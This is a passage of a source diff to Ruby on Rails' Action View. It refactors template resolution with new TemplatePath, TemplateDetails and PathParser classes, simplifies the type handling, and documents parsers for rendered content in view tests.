+++ b/actionview/lib/action_view/template/inline.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module ActionView # :nodoc:
+  class Template # :nodoc:
+    class Inline < Template # :nodoc:
+      # This finalizer is needed (and exactly with a proc inside another proc)
+      # otherwise templates leak in development.
+      Finalizer = proc do |method_name, mod| # :nodoc:
+        proc do
+          mod.module_eval do
+            remove_possible_method method_name
+          end
+        end
+      end
+
+      def compile(mod)
+        super
+        ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/raw_file.rb b/actionview/lib/action_view/template/raw_file.rb
new file mode 100644
index 0000000000000..82bc8537f1093
--- /dev/null
+++ b/actionview/lib/action_view/template/raw_file.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module ActionView # :nodoc:
+  class Template # :nodoc:
+    # = Action View RawFile Template
+    class RawFile # :nodoc:
+      attr_accessor :type, :format
+
+      def initialize(filename)
+        @filename = filename.to_s
+        extname = ::File.extname(filename).delete(".")
+        @type = Template::Types[extname] || Template::Types[:text]
+        @format = @type.symbol
+      end
+
+      def identifier
+        @filename
+      end
+
+      def render(*args)
+        ::File.read(@filename)
+      end
+
+      def supports_streaming?
+        false
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/renderable.rb b/actionview/lib/action_view/template/renderable.rb
new file mode 100644
index 0000000000000..7800b498a3105
--- /dev/null
+++ b/actionview/lib/action_view/template/renderable.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActionView
+  class Template
+    # = Action View Renderable Template for objects that respond to #render_in
+    class Renderable # :nodoc:
+      def initialize(renderable)
+        @renderable = renderable
+      end
+
+      def identifier
+        @renderable.class.name
+      end
+
+      def render(context, *args)
+        @renderable.render_in(context)
+      rescue NoMethodError
+        if !@renderable.respond_to?(:render_in)
+          raise ArgumentError, "'#{@renderable.inspect}' is not a renderable object. It must implement #render_in."
+        else
+          raise
+        end
+      end
+
+      def format
+        @renderable.try(:format)
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/resolver.rb b/actionview/lib/action_view/template/resolver.rb
index d3905b5f23d56..f07f97d568fdd 100644
--- a/actionview/lib/action_view/template/resolver.rb
+++ b/actionview/lib/action_view/template/resolver.rb
@@ -1,390 +1,212 @@
+# frozen_string_literal: true
+
 require "pathname"
 require "active_support/core_ext/class"
 require "active_support/core_ext/module/attribute_accessors"
 require "action_view/template"
-require "thread"
 require "concurrent/map"
 
 module ActionView
   # = Action View Resolver
   class Resolver
-    # Keeps all information about view path and builds virtual path.
-    class Path
-      attr_reader :name, :prefix, :partial, :virtual
-      alias_method :partial?, :partial
-
-      def self.build(name, prefix, partial)
-        virtual = ""
-        virtual << "#{prefix}/" unless prefix.empty?
-        virtual << (partial ? "_#{name}" : name)
-        new name, prefix, partial, virtual
-      end
-
-      def initialize(name, prefix, partial, virtual)
-        @name    = name
-        @prefix  = prefix
-        @partial = partial
-        @virtual = virtual
-      end
-
-      def to_str
-        @virtual
-      end
-      alias :to_s :to_str
-    end
-
-    # Threadsafe template cache
-    class Cache #:nodoc:
-      class SmallCache < Concurrent::Map
-        def initialize(options = {})
-          super(options.merge(initial_capacity: 2))
-        end
-      end
-
-      # preallocate all the default blocks for performance/memory consumption reasons
-      PARTIAL_BLOCK = lambda { |cache, partial| cache[partial] = SmallCache.new }
-      PREFIX_BLOCK  = lambda { |cache, prefix|  cache[prefix]  = SmallCache.new(&PARTIAL_BLOCK) }
-      NAME_BLOCK    = lambda { |cache, name|    cache[name]    = SmallCache.new(&PREFIX_BLOCK) }
-      KEY_BLOCK     = lambda { |cache, key|     cache[key]     = SmallCache.new(&NAME_BLOCK) }
-
-      # usually a majority of template look ups return nothing, use this canonical preallocated array to save memory
-      NO_TEMPLATES = [].freeze
-
-      def initialize
-        @data = SmallCache.new(&KEY_BLOCK)
-        @query_cache = SmallCache.new
-      end
-
-      def inspect
-        "#<#{self.class.name}:0x#{(object_id << 1).to_s(16)} keys=#{@data.size} queries=#{@query_cache.size}>"
-      end
-
-      # Cache the templates returned by the block
-      def cache(key, name, prefix, partial, locals)
-        if Resolver.caching?
-          @data[key][name][prefix][partial][locals] ||= canonical_no_templates(yield)
-        else
-          fresh_templates  = yield
-          cached_templates = @data[key][name][prefix][partial][locals]
-
-          if templates_have_changed?(cached_templates, fresh_templates)
-            @data[key][name][prefix][partial][locals] = canonical_no_templates(fresh_templates)
-          else
-            cached_templates || NO_TEMPLATES
-          end
-        end
-      end
-
-      def cache_query(query) # :nodoc:
-        if Resolver.caching?
-          @query_cache[query] ||= canonical_no_templates(yield)
-        else
-          yield
-        end
-      end
-
-      def clear
-        @data.clear
-        @query_cache.clear
-      end
-
-      # Get the cache size.  Do not call this
-      # method. This method is not guaranteed to be here ever.
-      def size # :nodoc:
-        size = 0
-        @data.each_value do |v1|
-          v1.each_value do |v2|
-            v2.each_value do |v3|
-              v3.each_value do |v4|
-                size += v4.size
-              end
-            end
-          end
-        end
-
-        size + @query_cache.size
-      end
-
-      private
-
-        def canonical_no_templates(templates)
-          templates.empty? ? NO_TEMPLATES : templates
-        end
-
-        def templates_have_changed?(cached_templates, fresh_templates)
-          # if either the old or new template list is empty, we don't need to (and can't)
-          # compare modification times, and instead just check whether the lists are different
-          if cached_templates.blank? || fresh_templates.blank?
-            return fresh_templates.blank? != cached_templates.blank?
-          end
-
-          cached_templates_max_updated_at = cached_templates.map(&:updated_at).max
-
-          # if a template has changed, it will be now be newer than all the cached templates
-          fresh_templates.any? { |t| t.updated_at > cached_templates_max_updated_at }
-        end
-    end
-
-    cattr_accessor :caching
-    self.caching = true
+    class PathParser # :nodoc:
+      ParsedPath = Struct.new(:path, :details)
+
+      def build_path_regex
+        handlers = Regexp.union(Template::Handlers.extensions.map(&:to_s))
+        formats = Regexp.union(Template::Types.symbols.map(&:to_s))
+        available_locales = I18n.available_locales.map(&:to_s)
+        regular_locales = [/[a-z]{2}(?:[-_][A-Z]{2})?/]
+        locales = Regexp.union(available_locales + regular_locales)
+        variants = "[^.]*"
+
+        %r{
+          \A
+          (?:(?<prefix>.*)/)?
+          (?<partial>_)?
+          (?<action>.*?)
+          (?:\.(?<locale>#{locales}))??
+          (?:\.(?<format>#{formats}))??
+          (?:\+(?<variant>#{variants}))??
+          (?:\.(?<handler>#{handlers}))?
+          \z
+        }x
+      end
+
+      def parse(path)
+        @regex ||= build_path_regex
+        match = @regex.match(path)
+        path = TemplatePath.build(match[:action], match[:prefix] || "", !!match[:partial])
+        details = TemplateDetails.new(
+          match[:locale]&.to_sym,
+          match[:handler]&.to_sym,
+          match[:format]&.to_sym,
+          match[:variant]&.to_sym
+        )
+        ParsedPath.new(path, details)
+      end
+    end
+
+    cattr_accessor :caching, default: true
 
     class << self
       alias :caching? :caching
     end
 
-    def initialize
-      @cache = Cache.new
-    end
-
     def clear_cache
-      @cache.clear
     end
 
     # Normalizes the arguments and passes it on to find_templates.
     def find_all(name, prefix = nil, partial = false, details = {}, key = nil, locals = [])
-      cached(key, [name, prefix, partial], details, locals) do
-        find_templates(name, prefix, partial, details)
-      end
+      _find_all(name, prefix, partial, details, key, locals)
     end
 
-    def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = [])
-      cached(key, [name, prefix, partial], details, locals) do
-        find_templates(name, prefix, partial, details, true)
-      end
+    def built_templates # :nodoc:
+      # Used for error pages
+      []
     end
 
-    def find_all_with_query(query) # :nodoc:
-      @cache.cache_query(query) { find_template_paths(File.join(@path, query)) }
+    def all_template_paths # :nodoc:
+      # Not implemented by default
+      []
     end
 
   private
+    def _find_all(name, prefix, partial, details, key, locals)
+      find_templates(name, prefix, partial, details, locals)
+    end
 
     delegate :caching?, to: :class
 
     # This is what child classes implement. No defaults are needed
     # because Resolver guarantees that the arguments are present and
     # normalized.
-    def find_templates(name, prefix, partial, details, outside_app_allowed = false)
-      raise NotImplementedError, "Subclasses must implement a find_templates(name, prefix, partial, details, outside_app_allowed = false) method"
+    def find_templates(name, prefix, partial, details, locals = [])
+      raise NotImplementedError, "Subclasses must implement a find_templates(name, prefix, partial, details, locals = []) method"
     end
+  end
 
-    # Helpers that builds a path. Useful for building virtual paths.
-    def build_path(name, prefix, partial)
-      Path.build(name, prefix, partial)
-    end
+  # A resolver that loads files from the filesystem.
+  class FileSystemResolver < Resolver
+    attr_reader :path
 
-    # Handles templates caching. If a key is given and caching is on
-    # always check the cache before hitting the resolver. Otherwise,
-    # it always hits the resolver but if the key is present, check if the
-    # resolver is fresher before returning it.
-    def cached(key, path_info, details, locals)
-      name, prefix, partial = path_info
-      locals = locals.map(&:to_s).sort!
-
-      if key
-        @cache.cache(key, name, prefix, partial, locals) do
-          decorate(yield, path_info, details, locals)
-        end
-      else
-        decorate(yield, path_info, details, locals)
-      end
+    def initialize(path)
+      raise ArgumentError, "path already is a Resolver class" if path.is_a?(Resolver)
+      @unbound_templates = Concurrent::Map.new
+      @path_parser = PathParser.new
+      @path = File.expand_path(path)
+      super()
     end
 
-    # Ensures all the resolver information is set in the template.
-    def decorate(templates, path_info, details, locals)
-      cached = nil
-      templates.each do |t|
-        t.locals         = locals
-        t.formats        = details[:formats]  || [:html] if t.formats.empty?
-        t.variants       = details[:variants] || []      if t.variants.empty?
-        t.virtual_path ||= (cached ||= build_path(*path_info))
-      end
+    def clear_cache
+      @unbound_templates.clear
+      @path_parser = PathParser.new
+      super
     end
-  end
 
-  # An abstract class that implements a Resolver with path semantics.
-  class PathResolver < Resolver #:nodoc:
-    EXTENSIONS = { locale: ".", formats: ".", variants: "+", handlers: "." }
-    DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
-
-    def initialize(pattern = nil)
-      @pattern = pattern || DEFAULT_PATTERN
-      super()
+    def to_s
+      @path.to_s
     end
+    alias :to_path :to_s
 
-    private
+    def eql?(resolver)
+      self.class.equal?(resolver.class) && to_path == resolver.to_path
+    end
+    alias :== :eql?
 
-      def find_templates(name, prefix, partial, details, outside_app_allowed = false)
-        path = Path.build(name, prefix, partial)
-        query(path, details, details[:formats], outside_app_allowed)
+    def all_template_paths # :nodoc:
+      paths = template_glob("**/*")
+      paths.map do |filename|
+        filename.from(@path.size + 1).remove(/\.[^\/]*\z/)
+      end.uniq.map do |filename|
+        TemplatePath.parse(filename)
       end
+    end
 
-      def query(path, details, formats, outside_app_allowed)
-        query = build_query(path, details)
-
-        template_paths = find_template_paths(query)
-        template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
+    def built_templates # :nodoc:
+      @unbound_templates.values.flatten.flat_map(&:built_templates)
+    end
 
-        template_paths.map do |template|
-          handler, format, variant = extract_handler_and_format_and_variant(template)
-          contents = File.binread(template)
+    private
+      def _find_all(name, prefix, partial, details, key, locals)
+        requested_details = key || TemplateDetails::Requested.new(**details)
+        cache = key ? @unbound_templates : Concurrent::Map.new
+
+        unbound_templates =
+          cache.compute_if_absent(TemplatePath.virtual(name, prefix, partial)) do
+            path = TemplatePath.build(name, prefix, partial)
+            unbound_templates_from_path(path)
+          end
 
-          Template.new(contents, File.expand_path(template), handler,
-            virtual_path: path.virtual,
-            format: format,
-            variant: variant,
-            updated_at: mtime(template)
-          )
+        filter_and_sort_by_details(unbound_templates, requested_details).map do |unbound_template|
+          unbound_template.bind_locals(locals)
         end
       end
 
-      def reject_files_external_to_app(files)
-        files.reject { |filename| !inside_path?(@path, filename) }
+      def source_for_template(template)
+        Template::Sources::File.new(template)
       end
 
-      def find_template_paths(query)
-        Dir[query].uniq.reject do |filename|
-          File.directory?(filename) ||
-            # deals with case-insensitive file systems.
-            !File.fnmatch(query, filename, File::FNM_EXTGLOB)
-        end
-      end
+      def build_unbound_template(template)
+        parsed = @path_parser.parse(template.from(@path.size + 1))
+        details = parsed.details
+        source = source_for_template(template)
 
-      def inside_path?(path, filename)
-        filename = File.expand_path(filename)
-        path = File.join(path, "")
-        filename.start_with?(path)
+        UnboundTemplate.new(
+          source,
+          template,
+          details: details,
+          virtual_path: parsed.path.virtual,
+        )
       end
 
-      # Helper for building query glob string based on resolver's pattern.
-      def build_query(path, details)
-        query = @pattern.dup
-
-        prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
-        query.gsub!(/:prefix(\/)?/, prefix)
-
-        partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
-        query.gsub!(/:action/, partial)
-
-        details.each do |ext, candidates|
-          if ext == :variants && candidates == :any
-            query.gsub!(/:#{ext}/, "*")
-          else
-            query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}")
-          end
+      def unbound_templates_from_path(path)
+        if path.name.include?(".")
+          return []
         end
 
-        File.expand_path(query, @path)
-      end
-
-      def escape_entry(entry)
-        entry.gsub(/[*?{}\[\]]/, '\\\\\\&'.freeze)
-      end
+        # Instead of checking for every possible path, as our other globs would
+        # do, scan the directory for files with the right prefix.
+        paths = template_glob("#{escape_entry(path.to_s)}*")
 
-      # Returns the file mtime from the filesystem.
-      def mtime(p)
-        File.mtime(p)
+        paths.map do |path|
+          build_unbound_template(path)
+        end.select do |template|
+          # Select for exact virtual path match, including case sensitivity
+          template.virtual_path == path.virtual
+        end
       end
 
-      # Extract handler, formats and variant from path. If a format cannot be found neither
-      # from the path, or the handler, we should return the array of formats given
-      # to the resolver.
-      def extract_handler_and_format_and_variant(path)
-        pieces = File.basename(path).split(".".freeze)
-        pieces.shift
-
-        extension = pieces.pop
+      def filter_and_sort_by_details(templates, requested_details)
+        filtered_templates = templates.select do |template|
+          template.details.matches?(requested_details)
+        end
 
-        handler = Template.handler_for_extension(extension)
-        format, variant = pieces.last.split(EXTENSIONS[:variants], 2) if pieces.last
-        format &&= Template::Types[format]
+        if filtered_templates.count > 1
+          filtered_templates.sort_by! do |template|
+            template.details.sort_key_for(requested_details)
+          end
+        end
 
-        [handler, format, variant]
+        filtered_templates
       end
-  end
 
-  # A resolver that loads files from the filesystem. It allows setting your own
-  # resolving pattern. Such pattern can be a glob string supported by some variables.
-  #
-  # ==== Examples
-  #
-  # Default pattern, loads views the same way as previous versions of rails, eg. when you're
-  # looking for `users/new` it will produce query glob: `users/new{.{en},}{.{html,js},}{.{erb,haml},}`
-  #
-  #   FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}")
-  #
-  # This one allows you to keep files with different formats in separate subdirectories,
-  # eg. `users/new.html` will be loaded from `users/html/new.erb` or `users/new.html.erb`,
-  # `users/new.js` from `users/js/new.erb` or `users/new.js.erb`, etc.
-  #
-  #   FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}")
-  #
-  # If you don't specify a pattern then the default will be used.
-  #
-  # In order to use any of the customized resolvers above in a Rails application, you just need
-  # to configure ActionController::Base.view_paths in an initializer, for example:
-  #
-  #   ActionController::Base.view_paths = FileSystemResolver.new(
-  #     Rails.root.join("app/views"),
-  #     ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}",
-  #   )
-  #
-  # ==== Pattern format and variables
-  #
-  # Pattern has to be a valid glob string, and it allows you to use the
-  # following variables:
-  #
-  # * <tt>:prefix</tt> - usually the controller path
-  # * <tt>:action</tt> - name of the action
-  # * <tt>:locale</tt> - possible locale versions
-  # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
-  # * <tt>:variants</tt> - possible request variants (for example phone, tablet...)
-  # * <tt>:handlers</tt> - possible handlers (for example erb, haml, builder...)
-  #
-  class FileSystemResolver < PathResolver
-    def initialize(path, pattern = nil)
-      raise ArgumentError, "path already is a Resolver class" if path.is_a?(Resolver)
-      super(pattern)
-      @path = File.expand_path(path)
-    end
+      # Safe glob within @path
+      def template_glob(glob)
+        query = File.join(escape_entry(@path), glob)
+        path_with_slash = File.join(@path, "")
 
-    def to_s
-      @path.to_s
-    end
-    alias :to_path :to_s
+        Dir.glob(query).filter_map do |filename|
+          filename = File.expand_path(filename)
+          next if File.directory?(filename)
+          next unless filename.start_with?(path_with_slash)
 
-    def eql?(resolver)
-      self.class.equal?(resolver.class) && to_path == resolver.to_path
-    end
-    alias :== :eql?
-  end
-
-  # An Optimized resolver for Rails' most common case.
-  class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
-    def build_query(path, details)
-      query = escape_entry(File.join(@path, path))
-
-      exts = EXTENSIONS.map do |ext, prefix|
-        if ext == :variants && details[ext] == :any
-          "{#{prefix}*,}"
-        else
-          "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}"
+          filename
         end
-      end.join
-
-      query + exts
-    end
-  end
-
-  # The same as FileSystemResolver but does not allow templates to store
-  # a virtual path since it is invalid for such resolvers.
-  class FallbackFileSystemResolver < FileSystemResolver #:nodoc:
-    def self.instances
-      [new(""), new("/")]
-    end
+      end
 
-    def decorate(*)
-      super.each { |t| t.virtual_path = nil }
-    end
+      def escape_entry(entry)
+        entry.gsub(/[*?{}\[\]]/, '\\\\\\&')
+      end
   end
 end
diff --git a/actionview/lib/action_view/template/sources.rb b/actionview/lib/action_view/template/sources.rb
new file mode 100644
index 0000000000000..8b895357416e7
--- /dev/null
+++ b/actionview/lib/action_view/template/sources.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActionView
+  class Template
+    module Sources
+      extend ActiveSupport::Autoload
+
+      eager_autoload do
+        autoload :File
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/sources/file.rb b/actionview/lib/action_view/template/sources/file.rb
new file mode 100644
index 0000000000000..2d3a7dec7f38e
--- /dev/null
+++ b/actionview/lib/action_view/template/sources/file.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActionView
+  class Template
+    module Sources
+      class File
+        def initialize(filename)
+          @filename = filename
+        end
+
+        def to_s
+          ::File.binread @filename
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/text.rb b/actionview/lib/action_view/template/text.rb
index 380528d6ef031..c91cd6d8a0d59 100644
--- a/actionview/lib/action_view/template/text.rb
+++ b/actionview/lib/action_view/template/text.rb
@@ -1,12 +1,13 @@
-module ActionView #:nodoc:
-  # = Action View Text Template
-  class Template
-    class Text #:nodoc:
+# frozen_string_literal: true
+
+module ActionView # :nodoc:
+  class Template # :nodoc:
+    # = Action View Text Template
+    class Text # :nodoc:
       attr_accessor :type
 
       def initialize(string)
         @string = string.to_s
-        @type = Types[:text]
       end
 
       def identifier
@@ -23,8 +24,8 @@ def render(*args)
         to_str
       end
 
-      def formats
-        [@type.ref]
+      def format
+        :text
       end
     end
   end
diff --git a/actionview/lib/action_view/template/types.rb b/actionview/lib/action_view/template/types.rb
index 21959a37982c5..fdddb20a5469a 100644
--- a/actionview/lib/action_view/template/types.rb
+++ b/actionview/lib/action_view/template/types.rb
@@ -1,12 +1,17 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/attribute_accessors"
 
 module ActionView
-  class Template
-    class Types
-      class Type
-        SET = Struct.new(:symbols).new([ :html, :text, :js, :css, :xml, :json ])
-
-        def self.[](type)
+  class Template # :nodoc:
+    # SimpleType is mostly just a stub implementation for when Action View
+    # is used without Action Dispatch.
+    class SimpleType # :nodoc:
+      @symbols = [ :html, :text, :js, :css, :xml, :json ]
+      class << self
+        attr_reader :symbols
+
+        def [](type)
           if type.is_a?(self)
             type
           else
@@ -14,42 +19,32 @@ def self.[](type)
           end
         end
 
-        attr_reader :symbol
-
-        def initialize(symbol)
-          @symbol = symbol.to_sym
-        end
-
-        def to_s
-          @symbol.to_s
-        end
-        alias to_str to_s
-
-        def ref
-          @symbol
-        end
-        alias to_sym ref
-
-        def ==(type)
-          @symbol == type.to_sym unless type.blank?
+        def valid_symbols?(symbols) # :nodoc
+          symbols.all? { |s| @symbols.include?(s) }
         end
       end
 
-      cattr_accessor :type_klass
+      attr_reader :symbol
 
-      def self.delegate_to(klass)
-        self.type_klass = klass
+      def initialize(symbol)
+        @symbol = symbol.to_sym
       end
 
-      delegate_to Type
+      def to_s
+        @symbol.to_s
+      end
+      alias to_str to_s
 
-      def self.[](type)
-        type_klass[type]
+      def ref
+        @symbol
       end
+      alias to_sym ref
 
-      def self.symbols
-        type_klass::SET.symbols
+      def ==(type)
+        @symbol == type.to_sym unless type.blank?
       end
     end
+
+    Types = SimpleType # :nodoc:
   end
 end
diff --git a/actionview/lib/action_view/template_details.rb b/actionview/lib/action_view/template_details.rb
new file mode 100644
index 0000000000000..0f74fb65b2a48
--- /dev/null
+++ b/actionview/lib/action_view/template_details.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+module ActionView
+  class TemplateDetails # :nodoc:
+    class Requested
+      attr_reader :locale, :handlers, :formats, :variants
+      attr_reader :locale_idx, :handlers_idx, :formats_idx, :variants_idx
+
+      ANY_HASH = Hash.new(1).merge(nil => 0).freeze
+
+      def initialize(locale:, handlers:, formats:, variants:)
+        @locale = locale
+        @handlers = handlers
+        @formats = formats
+        @variants = variants
+
+        @locale_idx   = build_idx_hash(locale)
+        @handlers_idx = build_idx_hash(handlers)
+        @formats_idx  = build_idx_hash(formats)
+        if variants == :any
+          @variants_idx = ANY_HASH
+        else
+          @variants_idx = build_idx_hash(variants)
+        end
+      end
+
+      private
+        def build_idx_hash(arr)
+          [*arr, nil].each_with_index.to_h.freeze
+        end
+    end
+
+    attr_reader :locale, :handler, :format, :variant
+
+    def initialize(locale, handler, format, variant)
+      @locale = locale
+      @handler = handler
+      @format = format
+      @variant = variant
+    end
+
+    def matches?(requested)
+      requested.formats_idx[@format] &&
+        requested.locale_idx[@locale] &&
+        requested.variants_idx[@variant] &&
+        requested.handlers_idx[@handler]
+    end
+
+    def sort_key_for(requested)
+      [
+        requested.formats_idx[@format],
+        requested.locale_idx[@locale],
+        requested.variants_idx[@variant],
+        requested.handlers_idx[@handler]
+      ]
+    end
+
+    def handler_class
+      Template.handler_for_extension(handler)
+    end
+
+    def format_or_default
+      format || handler_class.try(:default_format)
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template_path.rb b/actionview/lib/action_view/template_path.rb
new file mode 100644
index 0000000000000..993210ccfdcd3
--- /dev/null
+++ b/actionview/lib/action_view/template_path.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+module ActionView
+  # = Action View \TemplatePath
+  #
+  # Represents a template path within ActionView's lookup and rendering system,
+  # like "users/show"
+  #
+  # TemplatePath makes it convenient to convert between separate name, prefix,
+  # partial arguments and the virtual path.
+  class TemplatePath
+    attr_reader :name, :prefix, :partial, :virtual
+    alias_method :partial?, :partial
+    alias_method :virtual_path, :virtual
+
+    # Convert name, prefix, and partial into a virtual path string
+    def self.virtual(name, prefix, partial)
+      if prefix.empty?
+        "#{partial ? "_" : ""}#{name}"
+      elsif partial
+        "#{prefix}/_#{name}"
+      else
+        "#{prefix}/#{name}"
+      end
+    end
+
+    # Build a TemplatePath form a virtual path
+    def self.parse(virtual)
+      if nameidx = virtual.rindex("/")
+        prefix = virtual[0, nameidx]
+        name = virtual.from(nameidx + 1)
+        prefix = prefix[1..] if prefix.start_with?("/")
+      else
+        prefix = ""
+        name = virtual
+      end
+      partial = name.start_with?("_")
+      name = name[1..] if partial
+      new name, prefix, partial, virtual
+    end
+
+    # Convert name, prefix, and partial into a TemplatePath
+    def self.build(name, prefix, partial)
+      new name, prefix, partial, virtual(name, prefix, partial)
+    end
+
+    def initialize(name, prefix, partial, virtual)
+      @name    = name
+      @prefix  = prefix
+      @partial = partial
+      @virtual = virtual
+    end
+
+    alias :to_str :virtual
+    alias :to_s :virtual
+
+    def hash # :nodoc:
+      @virtual.hash
+    end
+
+    def eql?(other) # :nodoc:
+      @virtual == other.virtual
+    end
+    alias :== :eql? # :nodoc:
+  end
+end
diff --git a/actionview/lib/action_view/test_case.rb b/actionview/lib/action_view/test_case.rb
index 2b981caa6589d..c0cc707845f9a 100644
--- a/actionview/lib/action_view/test_case.rb
+++ b/actionview/lib/action_view/test_case.rb
@@ -1,4 +1,6 @@
-require "active_support/core_ext/module/remove_method"
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/redefine_method"
 require "action_controller"
 require "action_controller/test_case"
 require "action_view"
@@ -7,6 +9,9 @@
 
 module ActionView
   # = Action View Test Case
+  #
+  # Read more about <tt>ActionView::TestCase</tt> in {Testing Rails Applications}[https://guides.rubyonrails.org/testing.html#testing-view-partials]
+  # in the guides.
   class TestCase < ActiveSupport::TestCase
     class TestController < ActionController::Base
       include ActionDispatch::TestProcess
@@ -14,11 +19,16 @@ class TestController < ActionController::Base
       attr_accessor :request, :response, :params
 
       class << self
-        attr_writer :controller_path
+        # Overrides AbstractController::Base#controller_path
+        attr_accessor :controller_path
       end
 
       def controller_path=(path)
-        self.class.controller_path = (path)
+        self.class.controller_path = path
+      end
+
+      def self.controller_name
+        "test"
       end
 
       def initialize
@@ -50,9 +60,147 @@ module Behavior
       include ActiveSupport::Testing::ConstantLookup
 
       delegate :lookup_context, to: :controller
-      attr_accessor :controller, :output_buffer, :rendered
+      attr_accessor :controller, :request, :output_buffer
+
+      # Returns the content rendered by the last +render+ call.
+      #
+      # The returned object behaves like a string but also exposes a number of methods
+      # that allows you to parse the content string in formats registered using
+      # <tt>.register_parser</tt>.
+      #
+      # By default includes the following parsers:
+      #
+      # +.html+
+      #
+      # Parse the <tt>rendered</tt> content String into HTML. By default, this means
+      # a <tt>Nokogiri::XML::Node</tt>.
+      #
+      #   test "renders HTML" do
+      #     article = Article.create!(title: "Hello, world")
+      #
+      #     render partial: "articles/article", locals: { article: article }
+      #
+      #     assert_pattern { rendered.html.at("main h1") => { content: "Hello, world" } }
+      #   end
+      #
+      # To parse the rendered content into a <tt>Capybara::Simple::Node</tt>,
+      # re-register an <tt>:html</tt> parser with a call to
+      # <tt>Capybara.string</tt>:
+      #
+      #   register_parser :html, -> rendered { Capybara.string(rendered) }
+      #
+      #   test "renders HTML" do
+      #     article = Article.create!(title: "Hello, world")
+      #
+      #     render partial: article
+      #
+      #     rendered.html.assert_css "h1", text: "Hello, world"
+      #   end
+      #
+      # +.json+
+      #
+      # Parse the <tt>rendered</tt> content String into JSON. By default, this means
+      # a <tt>ActiveSupport::HashWithIndifferentAccess</tt>.
+      #
+      #   test "renders JSON" do
+      #     article = Article.create!(title: "Hello, world")
+      #
+      #     render formats: :json, partial: "articles/article", locals: { article: article }
+      #
+      #     assert_pattern { rendered.json => { title: "Hello, world" } }
+      #   end
+      attr_accessor :rendered
 
       module ClassMethods
+        def inherited(descendant) # :nodoc:
+          super
+
+          descendant_content_class = content_class.dup
+
+          if descendant_content_class.respond_to?(:set_temporary_name)
+            descendant_content_class.set_temporary_name("rendered_content")
+          end
+
+          descendant.content_class = descendant_content_class
+        end
+
+        # Register a callable to parse rendered content for a given template
+        # format.
+        #
+        # Each registered parser will also define a +#rendered.[FORMAT]+ helper
+        # method, where +[FORMAT]+ corresponds to the value of the
+        # +format+ argument.
+        #
+        # By default, ActionView::TestCase defines parsers for:
+        #
+        # * +:html+ - returns an instance of +Nokogiri::XML::Node+
+        # * +:json+ - returns an instance of ActiveSupport::HashWithIndifferentAccess
+        #
+        # These pre-registered parsers also define corresponding helpers:
+        #
+        # * +:html+ - defines +rendered.html+
+        # * +:json+ - defines +rendered.json+
+        #
+        # ==== Parameters
+        #
+        # [+format+]
+        #   The name (as a +Symbol+) of the format used to render the content.
+        #
+        # [+callable+]
+        #   The parser. A callable object that accepts the rendered string as
+        #   its sole argument. Alternatively, the parser can be specified as a
+        #   block.
+        #
+        # ==== Examples
+        #
+        #   test "renders HTML" do
+        #     article = Article.create!(title: "Hello, world")
+        #
+        #     render partial: "articles/article", locals: { article: article }
+        #
+        #     assert_pattern { rendered.html.at("main h1") => { content: "Hello, world" } }
+        #   end
+        #
+        #   test "renders JSON" do
+        #     article = Article.create!(title: "Hello, world")
+        #
+        #     render formats: :json, partial: "articles/article", locals: { article: article }
+        #
+        #     assert_pattern { rendered.json => { title: "Hello, world" } }
+        #   end
+        #
+        # To parse the rendered content into RSS, register a call to +RSS::Parser.parse+:
+        #
+        #   register_parser :rss, -> rendered { RSS::Parser.parse(rendered) }
+        #
+        #   test "renders RSS" do
+        #     article = Article.create!(title: "Hello, world")
+        #
+        #     render formats: :rss, partial: article
+        #
+        #     assert_equal "Hello, world", rendered.rss.items.last.title
+        #   end
+        #
+        # To parse the rendered content into a +Capybara::Simple::Node+,
+        # re-register an +:html+ parser with a call to +Capybara.string+:
+        #
+        #   register_parser :html, -> rendered { Capybara.string(rendered) }
+        #
+        #   test "renders HTML" do
+        #     article = Article.create!(title: "Hello, world")
+        #
+        #     render partial: article
+        #
+        #     rendered.html.assert_css "h1", text: "Hello, world"
+        #   end
+        #
+        def register_parser(format, callable = nil, &block)
+          parser = callable || block || :itself.to_proc
+          content_class.redefine_method(format) do
+            parser.call(to_s)
+          end
+        end
+
         def tests(helper_class)
           case helper_class
           when String, Symbol
@@ -71,10 +219,10 @@ def determine_default_helper_class(name)
         def helper_method(*methods)
           # Almost a duplicate from ActionController::Helpers
           methods.flatten.each do |method|
-            _helpers.module_eval <<-end_eval
-              def #{method}(*args, &block)                    # def current_user(*args, &block)
-                _test_case.send(%(#{method}), *args, &block)  #   _test_case.send(%(current_user), *args, &block)
-              end                                             # end
+            _helpers_for_modification.module_eval <<~end_eval, __FILE__, __LINE__ + 1
+              def #{method}(...)                    # def current_user(...)
+                _test_case.send(:'#{method}', ...)  #   _test_case.send(:'current_user', ...)
+              end                                   # end
             end_eval
           end
         end
@@ -91,23 +239,43 @@ def new(*)
         end
 
       private
-
         def include_helper_modules!
